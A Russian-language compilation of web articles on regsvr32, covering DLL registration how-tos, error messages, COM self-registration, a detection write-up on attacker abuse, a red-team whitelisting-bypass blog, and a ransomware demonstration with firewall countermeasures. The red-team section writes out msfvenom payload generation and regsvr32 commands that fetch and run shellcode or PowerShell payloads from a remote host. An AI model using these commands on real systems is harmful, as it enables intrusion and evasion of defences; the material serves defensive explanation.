    1. Если 32-разрядная DLL находится в папке System32, то переместите ее в папку SysWoW64 и введите ниже команду.
    %systemroot%\SysWoW64\regsvr32 myWEBpc.dll

    или

    %systemroot%\SysWoW64\regsvr32 C:\Windows\SysWOW64\myWEBpc.dll

    Что нужно учесть?

    1. В 64-разрядной версии операционной системы Windows существует две версии файла Regsv32.exe:

    • 64-разрядная версия - это %systemroot%\System32\regsvr32.exe
    • 32-разрядная версия - это % systemroot%\ SysWoW64\regsvr32.exe.

    2. В 64-разрядной версии Windows, 32-разрядные файлы DLL всегда находятся в папке Windows\SysWOW64. В то время как 64-битные библиотеки DLL находятся в папке Windows\System32. В 32-битной версии Windows, файлы DLL находятся только в папке Windows\System32. Здесь не будет папки SysWOW64.

    3. Если вы получаете ошибки, такие как DllRegisterServer, модуль несовместим с версией Windows или точка входа не найдена, то знайте:

    • Не все библиотеки DLL предназначены для регистрации в системе Windows.
    • Если вы скачали библиотеку со стороннего сайта, то она может быть даже и не библиотекой, а скорее всего каким-либо вирусом.
    • Вы регистрируете уже зарегистрированный DLL файл.

    Как исправить?

    • Много DLL библиотек, таких как d3dx9_43.dll, MSVCR71.dll, VCRUNTIME140.dll, находятся в сторонних компонентах как DirectX, NET Framework и Visual C++, которые нужно скачать на сайте Microsoft и установить. Вы можете в интернете почитать о самом файле, к чему он относится. Также, можете воспользоваться поиском на этом сайте, так как я много описывал решений о проблемах с DLL файлами.
    • Отмените регистрацию и зарегистрируйте DLL файл повторно.

    4. Отключите на время контроль учетных записей (UAC) во время регистрации DLL, так как он может мешать процессу.


    Загрузка комментариев

    KIII | Как зарегистрировать библиотеку (DLL)

    KIII | Как зарегистрировать библиотеку (DLL)

    Файл DLL – это функциональный модуль, который может быть использован несколькими программами при условии, что он зарегистрирован.

    Обычно операционные системы регистрируют DLL в фоновом режиме, но иногда вследствие повреждения жесткого диска, ошибки при установке программного обеспечения или заражения компьютерным вирусом может потребоваться зарегистрировать файл DLL вручную.

    Данная инструкция расскажет, как выполнить эту процедуру.

    Способ 1

    Способ 2
    • Нажмите кнопку Пуск
    • В текстовое поле "Найти программы и файлы" введите cmd
    • В появившемся перечне (под заголовком Программы) нажмите правой кнопкой мыши cmd.exe
    • Из контекстного меню выберите "Запуск от имени администратора"

    • Введите пароль, если появится соответствующий запрос
    • В открывшемся окне интерпретатора команд Windows после приглашения системы введите:

      regsvr32 [полное_имя_файла]
      Полное имя файла при наличии пробелов в пути надо писать в кавычках.

      Например: regsvr32 "C:\Program Files (x86)\1cv77\BIN\v7plus.dll"

    • Нажмите Enter

    Примечания
    1. При регистрации файлов *.dll происходит их запись в Реестр Windows. При этом в ветке [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDLLs] создается соответствующий параметр REG_DWORD со значением 1.
    2. Использование команды regsvr32:
      regsvr32 [/u] [/s] [/n] [/i[:строка_команд]] DLL-файл
      /u
      – отменяет регистрацию DLL
      /s – «тихий» режим – окна сообщений не отображаются
      /i – вызывает DllInstall, передавая параметром необязательную строку_команд, при использовании с ключом /u вызывает DLLUnInstall
      /n – не вызывает DllRegisterServer. Может использоваться с ключом /i.
    Если у Вас возникили вопросы - звоните 8(4812) 60-33-39! Поможем!

    Что такое Regsvr32? (Сервер регистрации Microsoft)

    regsvr32 - это инструмент командной строки в Windows, обозначающий Microsoft Register Server . Он используется для регистрации и отмены регистрации элементов управления связыванием и внедрением объектов (OLE), таких как файлы .DLL и файлы элементов управления ActiveX .OCX.

    Когда regsvr32 регистрирует файл DLL, информация о связанных с ним программных файлах добавляется в реестр Windows. Это те ссылки, к которым другие программы могут получить доступ в реестре, чтобы понять, где находятся данные программы и как с ними взаимодействовать.

    Вам может потребоваться зарегистрировать файл DLL, если вы видите ошибку DLL на вашем компьютере. Ниже мы объясним, как это сделать.

    Эти действия применимы к Windows 10 через Windows XP.

    Как зарегистрировать и отменить регистрацию файла DLL

    Если ссылки в реестре Windows, относящиеся к файлу DLL, каким-то образом удалены или повреждены, программы, которым необходимо использовать этот файл DLL, могут перестать работать. Когда эта ассоциация с реестром нарушается, необходимо зарегистрировать файл DLL.

    Регистрация файла DLL обычно выполняется путем переустановки программы, которая его зарегистрировала. Однако иногда вам может потребоваться самостоятельно зарегистрировать файл DLL вручную через командную строку.

    Это правильный способ структурировать команду regsvr32:

    regsvr32 [/ u] [/ n] [/ i [: cmdline]] 

    Например, вы должны ввести эту первую команду, чтобы зарегистрировать файл DLL с именем myfile.dll , или вторую, чтобы отменить его регистрацию:

    regsvr32 myfile.dll 
    regsvr32 / u myfile.dll

    Не все библиотеки DLL можно зарегистрировать, просто введя указанную выше команду в командную строку. Возможно, вам потребуется сначала закрыть службу или программу, использующую файл.

    Как исправить распространенные ошибки Regsvr32

    Вот одна ошибка, которую вы можете увидеть при попытке зарегистрировать файл DLL:

    Модуль был загружен, но вызов DllRegisterServer завершился неудачно с кодом ошибки 0x80070005. 

    Обычно это проблема с разрешением.Если запуск командной строки с повышенными привилегиями по-прежнему не позволяет зарегистрировать файл DLL, сам файл может быть заблокирован. Проверьте раздел Security на вкладке General в окне Properties файла.

    Другая возможная проблема может заключаться в том, что у вас нет правильных разрешений на использование файла.

    Формулировка аналогичного сообщения об ошибке аналогична приведенному ниже. Эта ошибка обычно означает, что DLL не используется в качестве COM-DLL для какого-либо приложения на компьютере, а это означает, что нет необходимости регистрировать ее.

    Модуль загружен, но точка входа DllRegisterServer не найдена. 

    Вот еще одно сообщение об ошибке regsvr32:

    Модуль не загрузился. Убедитесь, что двоичный файл хранится по указанному пути, или выполните отладку, чтобы проверить наличие проблем с двоичными или зависимыми файлами .DLL. Указанный модуль не может быть найден. 

    Эта конкретная ошибка может быть связана с отсутствующей зависимостью, и в этом случае вы можете использовать инструмент Dependency Walker, чтобы просмотреть список всех зависимостей, которые требуются файлу DLL, поскольку может отсутствовать одна, необходимая для того, чтобы DLL могла зарегистрируйтесь правильно.

    Также убедитесь, что путь к файлу DLL указан правильно. Синтаксис команды очень важен; может появиться ошибка, если он введен неправильно.

    Некоторым файлам DLL может потребоваться заключить их местоположение в кавычки, например:

    "C: \ Users \ Admin User \ Programs \ myfile.dll" 

    Где хранится Regsvr32.exe?

    32-разрядные версии Windows (XP и новее) добавляют инструмент Microsoft Register Server в эту папку при первой установке Windows:

    % systemroot% \ System32 \ 

    64-разрядные версии Windows хранят файл regsvr32.exe файл не только там, но и в этой папке:

    % systemroot% \ SysWoW64 \ 

    Спасибо, что сообщили нам!

    Расскажите, почему!

    Другой Недостаточно подробностей Сложно понять

    Объяснение, команды, сообщения об использовании и ошибках

    В операционных системах Microsoft Windows regsvr32 - это служебная программа командной строки, используемая для регистрации и отмены регистрации элементов управления OLE, таких как библиотеки DLL и элементы управления ActiveX, в реестре Windows. Например, DDL, который будет использоваться с regsvr32, должен экспортировать функции DllRegisterServer и DllUnregisterServer.Этот инструмент может потребовать устранения некоторых проблем в Windows, Microsoft Internet Explorer или других программах.

    Regsvr32 в Windows 10

    Regsvr32.exe входит в состав Microsoft Windows и устанавливается в папку System32 (Windows NT / Windows XP / Windows Vista / Windows 7 / Windows 8.1 / Windows 10).

    Команда и использование Regsvr32

    1. Параметры командной строки RegSvr32.exe:

     Regsvr32 [/ u] [/ n] [/ i [: cmdline]]  dllname  

    2.Параметры:

    • / u: Отмена регистрации файла.
    • / с: запускает regsvr32 в автоматическом режиме и не отображает никаких окон сообщений.
    • / n: не вызывает DllRegisterServer. Этот параметр следует использовать с / i.
    • / i: cmdline: вызывает DllInstall, передав ему необязательную [cmdline]. При использовании с / u вызывает удаление dll.
    • dllname: указывает имя файла dll, который будет зарегистрирован.
    • / n - Не вызывать DllRegisterServer или DllUnregisterServer; этот параметр должен использоваться с / i.

    Например, чтобы вручную зарегистрировать и отменить регистрацию DLL-файла shm.dll, мы можем сделать следующее в CMD:

    • regsvr32 shm.dll для регистрации файла.
    • regsvr32 / u shm.dll для удаления файла.

    Сообщения об ошибках Regsvr32.exe

    Следующий список содержит сообщения об ошибках RegSvr32 и возможные причины:

    1. Недопустимый флаг команды «% 1 ″». Просмотрите использование команды и попробуйте еще раз.
    2. Эта команда действительна, только если открыт проект пользовательского элемента управления OLE Microsoft Visual Studio.
    3. Чтобы зарегистрировать модуль, вы должны указать двоичное имя.
    4. Не удалось выполнить команду OleInitialize. На вашем компьютере может быть мало памяти. Закройте все открытые программы и попробуйте еще раз.
    5. Не удалось загрузить модуль «»% 1 ″. \ N \ n Убедитесь, что двоичный файл хранится по указанному пути, или отладьте его, чтобы проверить наличие проблем с двоичными или зависимыми файлами .DLL. \ N \ n% 2 .
    6. Модуль «% 1 ″» был загружен, но точка входа% 2 не найдена.\ n \ nУбедитесь, что «»% 1 ″ »является допустимым файлом DLL или OCX, и повторите попытку.
    7. Модуль «»% 1 ″ был загружен, но вызов% 2 завершился неудачно с кодом ошибки% 3. \ N \ nДля получения дополнительных сведений об этой проблеме выполните поиск в Интернете, используя код ошибки в качестве условия поиска.
    8. Модуль «% 1 ″» может быть несовместим с используемой версией Windows. Убедитесь, что модуль совместим с x86 (32-разрядной) или x64 (64-разрядной) версией regsvr32.exe.

    В 64-битной версии Windows вы найдете две версии Regsv32.exe, а именно. 64-разрядная версия находится в % systemroot% \ System32 \ regsvr32.exe , а 32-разрядная версия находится в % systemroot% \ SysWoW64 \ regsvr32.exe , объясняется KB249873.

    Как зарегистрировать файл DLL в Windows с помощью команды Regsvr32

    Файлы DLL (библиотека динамической компоновки) состоят из компьютерных данных и кода. Они используются производителями программного обеспечения в качестве общих ресурсов в операционных системах Windows. Вместо того, чтобы устанавливать отдельные компоненты, они используют один и тот же файл DLL. Если вы хотите или вам нужно вручную зарегистрировать / отменить регистрацию DLL-файлов, вот как это сделать.

    Регистрация библиотеки динамической компоновки

    Шаг 1
    При необходимости войдите в систему, используя учетную запись администратора.

    Шаг 2
    Щелкните Пуск и введите команду или cmd в поле поиска. Это будет зависеть от того, какая у вас версия Windows.

    Шаг 3

    Введите regsvr32 «path and FileName.dll» в командной строке. Нажмите клавишу Enter. Убедитесь, что вы ввели правильное имя и путь к файлу.Например, "C: \ Windows \ System32 \ example.dll" . Это зарегистрирует файл.

    Step 4
    После регистрации появится сообщение о том, что регистрация прошла успешно. Сообщение проинформирует вас о том, что файл был помещен в реестр Windows.

    Командная строка

    Если вы хотите вручную зарегистрировать / отменить регистрацию файлов DLL через командную строку Regsvr32 , вы можете это сделать. ПК с Windows и Internet Explorer 3.0 или более поздней версии есть Regsvr32.exe. Если вы используете 64-битные версии ОС Windows, есть два варианта.

    32-разрядная версия находится по адресу: % systemroot% \ SysWoW64 \ regsvr32.exe

    64-разрядная версия находится по адресу: % systemroot% \ System32 \ regsvr32.exe

    Чтобы использовать любую версию введите следующую команду:

     

    Regsvr32 [/ u] [/ n] [/ i [: cmdline]] dllname

    Язык кода: Bash (bash)

    Команда / u отменит регистрацию файл. / I можно использовать с / u для вызова деинсталляции dll. Параметр / n не вызывает DllRegisterServer. Используется с / i . Если вы используете / с , окна сообщений отображаться не будут. Это для Windows XP и более поздних версий.

    При первом запуске Regsvr32.exe программа попытается загрузить идентифицируемый компонент. Будет вызвана функция DLLSelfRegister. Если это сработает, появится сообщение с уведомлением. В противном случае появится сообщение об ошибке.

    Отменить регистрацию библиотек динамических ссылок

    Нажмите «Пуск» и введите cmd в поле «Выполнить». Появится командная строка Windows. Если вы используете Windows Vista, одновременно нажмите клавиши Windows и R. Это вызовет диалоговое окно "Выполнить". Щелкните ОК.

    Следующие команды можно использовать с обеими утилитами. Введите regsvr32 / u filename.dll . Нажмите клавишу Enter. Появится сообщение о том, что файл не зарегистрирован.

    Преимущества файлов DLL

    Библиотеки DLL печально известны тем, что вызывают очень много сообщений об ошибках.Но на самом деле они жизненно важны для повышения производительности компьютерных программ. Библиотеки DLL сокращают ресурсы, необходимые для выполнения общих задач. На жестком диске и в памяти меньше файлов, что увеличивает скорость работы системы. Библиотеки DLL также способствуют использованию модульной архитектуры программирования.

    Также помогает динамической загрузке функциональности. Установка и развертывание программы становятся менее сложными. Если файл DLL обновлен, от этого выиграет все программное обеспечение, использующее этот файл.

    Есть несколько типов DLL.Многие используются одной или несколькими программами. Драйвер устройства, панель управления и файлы управления ActiveX - это лишь некоторые из них. Например, управляющие файлы ActiveX (.ocx) выполняют множество функций, которые можно использовать повторно. В этом смысле они сопоставимы с Java. Файлы в Панели управления Windows также используют множество DLL.

    Обычно нет необходимости вручную регистрировать / отменять регистрацию DLL-файлов; это делается автоматически. Но если это нужно делать вручную, стоит знать правильные методы.

    Чарли Браун - внештатный писатель и создатель контента многих технологических сайтов, автор множества полезных подлинных статей.

    com - В чем разница между RegSvr и RegServer?

    COM-серверы регистрируются аналогично в 32-битных 64-битных операционных системах. Вопрос связан с саморегистрацией, наиболее простым способом регистрации COM-сервера - попросив сервер обновить реестр HKLM / HKCR соответственно.

    Поскольку вы не можете запустить DLL напрямую, вы используете вспомогательное приложение regsvr32 .Короче говоря, он смотрит, является ли DLL 32- или 64-битной и использует соответствующую версию приложения. Затем он загружает DLL и передает управление для регистрации.

    COM-серверы

    EXE могут запускаться напрямую, поэтому вы должны передать им параметры / regserver или / unregserver.

    Методы действительны для 32- и 64-битных серверов COM, для 32- и 64-битных операционных систем.

    Дополнительная литература - Самостоятельная регистрация:

    Если сервер упакован в модуль DLL, DLL должна экспортировать функции DllRegisterServer и DllUnregisterServer.Любое приложение, которое желает дать серверу команду зарегистрироваться (то есть все его идентификаторы CLSID и идентификаторы библиотеки типов), может получить указатель на DllRegisterServer через функцию GetProcAddress. В DllRegisterServer DLL создает все необходимые записи реестра, сохраняя правильный путь к DLL для всех записей InprocServer32 или InprocHandler32.

    Когда приложение желает удалить компонент из системы, оно должно отменить регистрацию этого компонента, вызвав DllUnregisterServer.В рамках этого вызова сервер удаляет именно те записи, которые он ранее создал в DllRegisterServer. Сервер не должен слепо удалять все записи для своих классов, потому что другое программное обеспечение могло хранить дополнительные записи, такие как ключ TreatAs.

    Если сервер упакован в модуль EXE, приложение, желающее зарегистрировать сервер, запускает сервер EXE с аргументом командной строки / RegServer или -RegServer (без учета регистра). Если приложение желает отменить регистрацию сервера, оно запускает EXE с аргументом командной строки / UnregServer или -UnregServer.Саморегистрирующийся EXE обнаруживает эти аргументы командной строки и вызывает те же операции, что и DLL в DllRegisterServerand DllUnregisterServer, соответственно, регистрируя свой путь к модулю в LocalServer32 вместо InprocServer32 или InprocHandler32.

    Лучшие методы MITER ATT & CK

    Red Canary: # 3 Regsvr32

    Надежный по умолчанию и нелегко отключить, Regsvr32 (T1117) является излюбленным приемом среди злоумышленников. Как скрытный, так и практичный, он может использоваться для выполнения множества злонамеренных действий, которые трудно обнаружить или заблокировать.В общем, неудивительно, что мы так часто видим это в контролируемой среде.

    Согласно нашему отчету об обнаружении угроз за 2019 год, regsvr32 является третьим по популярности противником. В рамках текущей серии блогов мы публикуем отрывок из раздела regsvr32 этого отчета ниже. Если вы пропустили предыдущие выпуски, обратите внимание на следующее:

    В ближайшие недели мы опубликуем наш анализ сценариев и PowerShell, которые являются двумя основными методами, которые мы наблюдали.

    Чтобы глубже погрузиться в подробности, просмотрите нашу групповую дискуссию в форме вопросов и ответов, в которой участвуют авторы отчета - Кейт Маккаммон, Кейси Смит, Майкл Хаг и Кайл Рейни.

    Почему преобладает T1117?

    Regsvr32 предлагает злоумышленникам простой и элегантный способ выполнить собственный код или сценарии, либо размещая ресурсы локально, либо загружая их из удаленного места. Поскольку этот метод использует надежный компонент платформы Windows, который нельзя легко отключить или ограничить, а обнаружение зависит от тщательного изучения телеметрии на уровне процесса, этот метод остается эффективным и популярным среди всех, от поставщиков нежелательного программного обеспечения до высокопоставленных участников.

    Помимо ускользания от обнаружения большинством продуктов защиты более года, этот метод остается эффективным из-за производных векторов атак, которые позволяют выполнять VBScript и JScript через regsvr32. В результате эти сценарии можно использовать для создания и выполнения полезных нагрузок без вызова собственных обработчиков wscript.exe и cscript.exe, обходя обнаружение, основанное на этих процессах, а также минуя элементы управления Windows Script Host.

    Выдающиеся примеры

    Ocean Lotus group

    Ocean Lotus - подозреваемая спонсируемая государством шпионская группа, известная своей атакой на частные компании, правительственные учреждения, журналистов и диссидентов, проявляющих особый интерес к организациям и частным лицам, связанным с Вьетнамом.Группа обычно использует электронные письма с целевым фишингом, которые социальная инженерия их целей для включения макросов, которые создают запланированные задачи, гарантируя, что пара бэкдоров может сохраняться после перезагрузки. Одна из запланированных задач, используемых Ocean Lotus, использует regsvr32 для обхода элементов управления белого списка приложений Windows каждые 30 минут, в конечном итоге запускает сценарий COM, который загружает полезные нагрузки Meterpreter и Cobalt Strike на более поздних этапах.

    APT19

    Шпионская группа APT19 использовала regsvr32 в фишинговой кампании, нацеленной на несколько юридических фирм и компаний, оказывающих финансовые услуги по всему миру, в середине 2017 года.Злоумышленники разработали макрос, который использовал regsvr32 для запуска файла компонента сценария Windows (SCT). Файл SCT, в свою очередь, запускал то, что выглядело как полезная нагрузка Cobalt Strike.

    Стратегии обнаружения

    Согласно MITER, существует ряд источников данных, связанных с regsvr32, и наличие доступа к ним поможет группам безопасности обнаруживать злоумышленников, использующих этот метод в своих средах.

    ИСТОЧНИКИ ДАННЫХ:
    • Загруженные библиотеки DLL
    • Мониторинг процессов
    • Параметры командной строки процесса
    • Реестр Windows
    ПОБОЧНОЕ ПОВЕДЕНИЕ:
    • Изменение файла в профиле пользователя, либо во время размещения локального ресурса артефакт загрузки удаленных ресурсов
    • Сетевые подключения, инициированные regsvr32.exe обрабатывает
    • Модуль загружается для scrobj.dll, если ресурс является сценарием COM.

    Метод regsvr32 может быть выполнен путем загрузки локального или удаленного ресурса, который может быть либо DLL, либо COM-сценарием. Обнаружение этого метода требует как минимум наблюдения за загрузкой модулей и командной строки процесса. Другие ценные типы данных включают метаданные процесса и двоичные метаданные, а также метаданные сетевого соединения, коррелированные с процессом. Эти типы данных доступны через коммерческие инструменты EDR или собственные инструменты мониторинга, такие как Sysmon.

    Этот и другие подобные техники также требуют понимания T1036 или маскарадинга. Известно, что злоумышленники доставляют свою собственную копию regsvr32.exe, копируют локальный двоичный файл в другое место и переименовывают его до выполнения, чтобы избежать уязвимой логики обнаружения, которая явно ищет стандартные пути и имена файлов.

    Что впереди?

    Злоумышленники почти наверняка продолжат злоупотреблять regsvr32 в обозримом будущем. Однако, учитывая общие тенденции в усилении защиты операционных систем, такие методы, как regsvr32, неизбежно станут менее эффективными - даже если они не исчезнут полностью - в ближайшие годы.В частности, Microsoft постоянно добавляет средства защиты операционной системы Windows, и они, несомненно, уменьшат полезность и распространенность regsvr32 среди злоумышленников.

    Как избежать внесения приложений в белый список с помощью REGSVR32

    Джофф Тьер //

    Недавно я работал в красной команде для клиента, который был очень хорошо осведомлен о своей защите. У этого клиента был жесткий контроль за выходом, проксирование периметра, мощная инструментальная база и очень жесткий контроль за внесением приложений в белые списки.Мой товарищ по команде и я знали, что нам придется очень много работать, чтобы получить исходящее командование и контроль из этой среды, и это будет после получения физического доступа (еще одна серьезная проблема).

    За неделю до выезда на место работы мы начали исследовать все различные методы потенциального обхода белого списка приложений. Мы предположили, что в лучшем случае защитный сценарий, при котором клиент будет блокировать все двоичное выполнение, за исключением разрешенных определенных приложений.В предыдущих тестах с другими заказчиками и с этим же заказчиком мы использовали «rundll32.exe» для выполнения содержимого DLL. Этот метод действительно полезен, если вы можете разместить шеллкод в DLL и иметь хорошо управляемую точку входа. В случае Metasploit точка входа DLL называется «Control_RunDLL». Хотя это могло избежать включения в белый список, мы также знали, что этот старый трюк применялся раньше, и, вероятно, не могли рассчитывать на него снова.

    Один интересный метод, опубликованный Кейси Смитом, включает в себя процесс регистрации DLL в Windows и показывает, как скриптлеты COM + могут быть выполнены путем чтения скриптлета в качестве аргумента для regsvr32.exe »и с помощью COM +« scrobj.dll ».

    Кроме того, Кейси опубликовал схему запуска процессов с использованием пользовательской библиотеки DLL, написанной на C #, что более подробно описано в этом исходном коде.

    Я был очарован обоими этими методами, хотя я не хотел писать сценарии COM + для запуска полезных нагрузок, а хотел большей гибкости. Моей целью было попытаться заставить regsvr32.exe зарегистрировать DLL, которая могла бы выполнять либо шеллкод, либо конвейер сценариев PowerShell непосредственно во время процесса регистрации DLL.

    Что очень хорошо в методе регистрации DLL «regsvr32.exe», так это то, что любая созданная вами DLL должна экспортировать только четыре различных метода для работы. Это:

    • EntryPoint ()
    • DllRegisterServer ()
    • DllUnRegisterServer ()
    • DllInstall ()

    Как указывает Кейси в различных записях блога, это дает вам несколько путей выполнения кода, все с использованием двоичного кода Windows. быть в белом списке в любой среде.

    Подождите, а что это за объект «regsvr32.exe»? Согласно Microsoft, «этот инструмент командной строки регистрирует файлы .dll как компоненты команд в реестре». Вы можете узнать больше из TechNet здесь: https://technet.microsoft.com/en-us/library/bb490985.aspx

    Я решил использовать процедуру «DllInstall ()» со следующей логикой:

    1. Передайте строку «shellcode» или «powershell» с помощью флага «/ i» при запуске «regsvr32.exe».
    2. Передайте запятую, за которой следует имя файла или URL-адрес, указывающий на данные в кодировке base64.Данные в кодировке base64 представляют собой двоичный шелл-код или сценарий PowerShell.
    3. Прочтите содержимое файла или URL, затем декодируйте base64.
    4. Если содержимое представляет собой PowerShell, создайте конвейер пространства выполнения и выполните сценарий.
    5. Если содержимое - это шелл-код, выделите память и выполните шелл-код.

    Фрагмент кода для выполнения этих функций показан ниже, как написано на C #. Идея состоит в том, чтобы скомпилировать это в DLL, которую затем можно будет использовать с regsvr32.exe.

    Копирование ShellCode в память и создание нового потока Создание пространства выполнения системной автоматизации для выполнения сценария PowerShell

    Теперь вы спрашиваете, как передать имя файла или URL-адрес в DLL при использовании «regsvr32.EXE". Оказывается, флаг «/ i» позволяет нам указывать параметры в командной строке, которые мы затем можем проанализировать, чтобы получить нужную нам информацию. Как только мы проанализируем эту информацию, мы сможем использовать методы NET WebClient (), чтобы либо загрузить, либо просто прочитать из файла интересующий нас контент.

    Метод DllInstall () Экспортирован Анализ имени файла и URL-адреса и логика принятия решения

    Собрав все это вместе, мы можем затем скомпилировать как 64-битную, так и 32-битную версию нашей DLL, а затем использовать DLL для доставки полезной нагрузки PowerShell или Shellcode.Если наши скомпилированные библиотеки DLL называются «rs32.dll» и «rs64.dll», вы можете использовать конечный инструмент именно так.

    1) В системе Linux сгенерируйте полезную нагрузку:

     $ msfvenom -p windows / x64 / exec CMD = calc.exe -f raw 2> / dev / null | base64> расчет b64 

    2) Загрузите полезную нагрузку в Windows, а также «rs64.dll» (предполагается, что 64-битная версия).

     C: \> regsvr32.exe / s /i:shellcode,calc.b64 rs64.dll 

    Но ПОДОЖДИТЕ, теперь становится еще лучше. Зачем загружать полезную нагрузку, если вы можете просто использовать HTTP (s) напрямую из причудливой DLL.

     C: \> regsvr32.exe / s /i:shellcode,http://10.10.10.10/calc.b64 rs64.dll 

    Теперь мы можем сделать то же самое, только на этот раз используя PowerShell. Создайте свою любимую полезную нагрузку в кодировке PowerShell base64. Дайте угадаю, вы, вероятно, захотите использовать PowerShell Empire (https://www.powershellempire.com/), который для удобства включает сценарий base64 в качестве агента на стороне клиента!

    1) Создайте сценарий PowerShell empire с помощью «пусковой установки»

    .

    2) Теперь вырежьте / вставьте только часть в кодировке base64 и сохраните ее в файле.

    3) Запустите powershell, используя «regsvr32.exe» и вашу причудливую настраиваемую DLL.

     C: \> regsvr32.exe / s /i:powershell,payload.b64 rs64.dll 

    Или, альтернативно:

     C: \> regsvr32.exe / s /i:powershell,http://10.10.10.10/payload.b64 rs64.dll 

    И вот он, совершенно новый метод доставки полезной нагрузки, который успешно обойдет большинство сред, в которых реализованы белые списки приложений. Если вы хотите опробовать код, посетите репозиторий bitbucket:

    .

    https: // bitbucket.org / jsthyer / wevade

    Имя «wevade» - это случайная комбинация слов «белый список» и «уклонение». Да, я знаю ... Я ни в коем случае не претендую на звание гуру маркетинга. Спасибо, наслаждайтесь!

    Присоединяйтесь к списку рассылки блогов BHIS - получайте уведомления, когда мы публикуем новые блоги, веб-трансляции и подкасты.

    Связанные

    Regsvr32 можно использовать для установки программ-вымогателей через установщики Jscript

    Исследователь безопасности по имени Кейси Смит опубликовал на прошлой неделе статью, в которой подробно описал, как Windows Regsvr32.Команда exe может использоваться для обхода ограничений AppLocker. В этой статье он описал малоизвестную возможность, при которой Regsvr32 может выполнять специально созданные сценарии на удаленном хосте с использованием URL-адреса. Эти сценарии представляют собой файлы XML, которые содержат встроенные сценарии Jscript или VBScript, которые будут выполняться, когда Regsvr32 запускает сценарий.

    Это, очевидно, приводит к целому ряду возможностей, когда злоумышленник может делать очень плохие вещи с вашим компьютером, пока у него есть к нему доступ. К сожалению, у злоумышленника есть много способов получить доступ к компьютеру, будь то с помощью набора эксплойтов или уязвимости.

    Regsvr32.exe установка Ransomware через JScript

    В качестве теста я решил взять установщик javascript-вымогателя и изменить его так, чтобы он мог работать с Regsvr32.exe. Поскольку программа-вымогатель Nemucod в значительной степени полагается на Javascript для установки, я подумал, что этот вымогатель будет хорошим вариантом для тестирования.

    Используя инструкции из статьи Кейси Смита, я создал специально созданный XML-файл, содержащий Javascript из установщика Nemucod. Мне пришлось немного изменить его, чтобы он правильно работал с Regsvr32.Отлично, но сделать это было достаточно просто. Затем я изменил его дальше, добавив небольшой сценарий, который создает пакетный файл в папке% Temp%, который запускается сценарием перед установкой вымогателя. Этот командный файл завершит работу известных антивирусных программ и антивирусных программ, чтобы они не смогли заблокировать установку вымогателя.

    К сожалению, тест прошел отлично. Regsvr32.exe смог выполнить мой сценарий, используя URL-адрес моего тестового сервера. Затем этот сценарий завершил работу моего антивирусного программного обеспечения и установил программу-вымогатель.Чтобы продемонстрировать этот тест, я создал видео ниже, в котором показано, как я использовал Regsvr32.exe для установки вымогателя Nemucod.

    Что делает этот метод хуже, так это то, что с его помощью можно легко модифицировать систему перед установкой вредоносного ПО. Используя обычные программы из белого списка, сценарий VBScript или JScript может легко вносить изменения в реестр или конфигурацию системы, прекращать процессы безопасности, а затем устанавливать любые вредоносные программы, которые они хотят. Кроме того, поскольку Regsvr32.exe - это законное приложение, и эти удаленные файлы сценариев можно называть как угодно, антивирусное программное обеспечение не сможет легко их обнаружить.

    Обновление 5/2/16: Emsisoft теперь обнаруживает вредоносные сценарии, выполняемые через Regsvr32.

    Emsisoft блокирует Regsvr32.exe

    Блокировка Regsvr32.exe от исходящих запросов

    К сожалению, Microsoft хранит молчание относительно способности Regsvr32 выполнять сценарии с удаленного URL-адреса.Поскольку неизвестно, будет ли это исправлено, важно заблокировать доступ Regsvr32.exe к сети через программный брандмауэр. Если у вас не установлен брандмауэр, который может блокировать доступ исполняемого файла в Интернет, вы можете использовать для этого брандмауэр Windows.

    Чтобы создать это правило, нажмите в меню «Пуск» и введите Брандмауэр Windows . Когда появится вариант Брандмауэр Windows в режиме повышенной безопасности , щелкните его. Это должно открыть брандмауэр Windows.Теперь щелкните категорию Outbound Rules, затем щелкните меню Action и выберите New Rule .

    Теперь вы попадете в мастер добавления правила для исходящего трафика, как показано ниже.

    Новое правило исходящего трафика

    Не снимая выделения с программы Program , нажмите кнопку Next . Теперь вы попадете на экран, на котором выбираете программу.

    Выбрать программу

    В поле пути к программе введите C: \ Windows \ System32 \ regsvr32.exe и нажмите кнопку Next . Теперь вы попадете на экран действий.

    Выбрать действие

    Сохранить Заблокировать соединение. выбран вариант и нажмите Далее . Теперь вы попадете на экран профилей.

    Выбрать профили

    Установите все флажки и нажмите кнопку Далее . Теперь вы попадете на экран с просьбой дать этому правилу имя. Дайте ему описательное имя, а затем нажмите кнопку Finish .После создания этого правила вам нужно будет снова использовать ту же процедуру, но на этот раз заблокировать файл C: \ Windows \ SysWOW64 \ regsvr32.exe .

    Regsvr32.exe теперь должен быть заблокирован для доступа в Интернет.

    .

    Добавить комментарий

    Ваш адрес email не будет опубликован. Обязательные поля помечены *